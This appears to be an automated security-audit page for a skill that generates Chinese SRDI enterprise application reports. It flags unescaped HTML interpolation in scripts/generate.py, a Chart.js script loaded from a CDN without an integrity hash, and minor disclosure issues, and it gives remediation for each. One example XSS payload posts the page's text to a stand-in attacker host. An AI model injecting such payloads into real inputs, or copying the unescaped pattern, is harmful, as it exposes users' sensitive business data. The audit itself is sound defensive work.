Back to skill

Security audit

专精特新企业申报助手

Security checks for vulnerabilities and agentic risk

Overview

This skill is purpose-aligned for generating Chinese SRDI application materials, but its generated HTML reports can execute untrusted report data and remote third-party JavaScript while containing sensitive business information.

Review before installing. Use this only with trusted enterprise data, avoid opening generated HTML from untrusted inputs, and prefer fixing the generator to HTML-escape all user-provided fields and bundle or integrity-pin Chart.js before using it for sensitive filings.

Vulnerability Patterns
  • Insecure DependenciesIntroduces malicious components through unsafe dependency sources
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
Findings (2)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/generate.py:527
Finding
Stored HTML and JavaScript Injection in Generated Reports<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate.py`, lines 527-531; additional unsafe interpolation at lines 556 and 656 **Vulnerability Type**: Stored HTML injection and cross-site scripting **Risk Level**: High ### Vulnerable Code ```python for section in application: content = section["content"].replace("\n", "<br>") app_html += f""" <div class="app-section"> <h3>{section['title']}</h3> <div class="app-content">{content}</div> </div>""" ``` Additional direct interpolation occurs in the document title and report header: ```python <title>专精特新申报材料 — {enterprise.get('name', '企业')} ({tier['name']})</title> ``` ```python <div class="subtitle">{enterprise.get('name', '企业名称')} | 申报梯度:{tier['name']}</div> ``` ### Technical Analysis Enterprise data originates from attacker-controllable JSON input and is incorporated into application sections. The report generator converts newline characters to `<br>` elements but does not HTML-escape the content before inserting it into the generated document. Consequently, HTML elements, event handlers, and script elements supplied through fields such as `intro`, `name`, `market_position`, `core_tech`, or other application values are written directly into the report. For example, a malicious input can contain: ```json { "tier": "t2", "name": "Example Company", "intro": "<script>fetch('https://attacker.invalid/collect?data='+encodeURIComponent(document.body.innerText))</script>" } ``` When the resulting report is opened in a browser, the embedded script is interpreted as active content rather than displayed as enterprise data. This is a stored injection because the payload is persisted in the generated HTML file. ### Attack Path 1. An attacker supplies or modifies the JSON input consumed by `generate.py`. 2. The malicious markup is accepted without schema validation or content sanitization. 3. `generate_application_text()` incorporates the attacker-controlled val ...[truncated 1274 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Escape every untrusted value before placing it into HTML: ```python import html safe_content = html.escape(section["content"], quote=True).replace("\n", "<br>") safe_title = html.escape(str(section["title"]), quote=True) ``` 2. Escape enterprise names and all other interpolated fields according to their output context: ```python safe_name = html.escape(str(enterprise.get("name", "Enterprise")), quote=True) ``` 3. Use a template engine with automatic escaping enabled rather than constructing HTML through f-strings. 4. Keep plain-text application data separate from trusted report markup. Do not allow raw HTML unless explicitly required and sanitized with a maintained allowlist-based sanitizer. 5. Add a restrictive Content Security Policy, preferably prohibiting inline scripts: ```html <meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; form-action 'none'"> ``` 6. Validate input with a strict schema, including expected types, maximum lengths, and permitted formats. 7. Add regression tests covering payloads in every enterprise field, including `<script>`, image event handlers, SVG handlers, malformed tags, and quotation-mark boundary attacks. ]]>

T08 · Insecure Dependencies

Warning
Location
scripts/generate.py:557
Finding
Remote Third-Party JavaScript Loaded Without Integrity Verification<![CDATA[ ## Vulnerability Details **File Location**: `scripts/generate.py`, line 557 **Vulnerability Type**: Unverified third-party JavaScript dependency **Risk Level**: Medium ### Vulnerable Code ```html <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js"></script> ``` ### Technical Analysis Every generated report loads and executes Chart.js from a third-party content delivery network when the report is opened. Although the dependency version is pinned to `4.4.0`, the script element does not provide a Subresource Integrity hash. The browser therefore trusts any response delivered for this URL. If the CDN, package publication account, DNS path, or delivery infrastructure is compromised, modified JavaScript can execute inside every report opened while the malicious response is served. The report's core application generation does not require remote code retrieval. Loading the chart library remotely also prevents the report from being fully self-contained and introduces unnecessary runtime supply-chain exposure. ### Attack Path 1. The application generates an HTML report containing the remote script reference. 2. A user opens the report while connected to a network. 3. The browser requests Chart.js from `cdn.jsdelivr.net`. 4. A compromised dependency source or delivery path returns modified JavaScript. 5. Because no integrity hash is present, the browser accepts and executes the modified response. 6. The malicious script reads or alters report content and may transmit sensitive enterprise information to an external endpoint. ### Impact Assessment Exploitation enables JavaScript execution in the generated report's browser context. A compromised dependency could: - Read financial, compliance, intellectual-property, and application data shown in the report. - Modify eligibility results or application text. - Redirect users or inject deceptive submission instructions. - Send report data to external services where browser policy ...[truncated 336 chars]
Remediation
<![CDATA[ ## Remediation Suggestions 1. Bundle a reviewed Chart.js distribution inside the project and reference it through a local relative path. This is the preferred solution for self-contained reports. 2. If CDN delivery must remain, add a verified Subresource Integrity hash and the appropriate CORS attribute: ```html <script src="https://cdn.jsdelivr.net/npm/chart.js@4.4.0/dist/chart.umd.min.js" integrity="sha384-VERIFIED_HASH_HERE" crossorigin="anonymous"></script> ``` The integrity value must be generated from and verified against the exact distributed asset; a placeholder must never be deployed. 3. Enforce a Content Security Policy that permits scripts only from explicitly approved locations. 4. Pin dependencies by exact version and periodically verify their checksums through a controlled dependency-update process. 5. Consider removing the JavaScript dependency entirely and generating the chart as a static SVG or image if report interactivity is not essential. 6. Test generated reports without network connectivity to confirm that all security-critical content and functionality remain available. ]]>
Vulnerability Patterns
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
Findings (7)

Ae1

High
Category
analysis-evasion
Content
- `scripts/generate.py`:核心生成引擎,包含政策规则引擎、评分计算、报告生成
Confidence
100% confidence
Finding
Referenced artifact was not completely inspected

Lp3

Medium
Category
MCP Least Privilege
Confidence
86% confidence
Finding
The skill declares a file-writing capability via its implementation/dependencies, but the manifest does not explicitly scope or disclose that capability with permissions or allowed-tools. This creates a least-privilege and transparency problem: an agent may write files unexpectedly, including HTML reports or other artifacts, without clear user/developer review of what destinations and file types are permitted.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The manifest description is entirely in Chinese and presents the skill as operating for Chinese enterprise application generation, but it does not explicitly offer any language or locale opt-in. Under the policy, forcing a specific language without user choice can be a natural-language policy violation unless the locale constraint is clearly documented and justified.

Natural-Language Policy Violations

Medium
Confidence
95% confidence
Finding
The HTML output explicitly sets `lang="zh-CN"`, and the script's interface and generated content are written in Chinese throughout. Under the policy rule, forcing a specific language or locale without opt-in is a natural-language policy issue unless the restriction is clearly documented and justified to the user.

Missing User Warnings

Medium
Confidence
93% confidence
Finding
This code persists detailed enterprise application content, including identifiers and business information assembled from `enterprise_data`, into local files. Although file output is core functionality, the script provides no visible warning, prompt, or user-facing disclosure that potentially sensitive company data will be stored on disk in both HTML and TXT formats.

Natural-Language Policy Violations

Low
Confidence
96% confidence
Finding
The entire skill file is written in Chinese and does not indicate that the user may choose another language or that the language restriction is required by a documented regional/compliance context. Under the policy rule, a skill that implicitly forces a specific language without opt-in can be a natural-language policy violation.

Missing User Warnings

Low
Confidence
81% confidence
Finding
The CLI accepts a JSON string or a file path and reads application data from the specified file, which is likely to contain sensitive enterprise details. There is no user-facing disclosure in the CLI help or comments warning that the script will ingest such data from disk and then process it into generated outputs.

Static analysis

No suspicious patterns detected.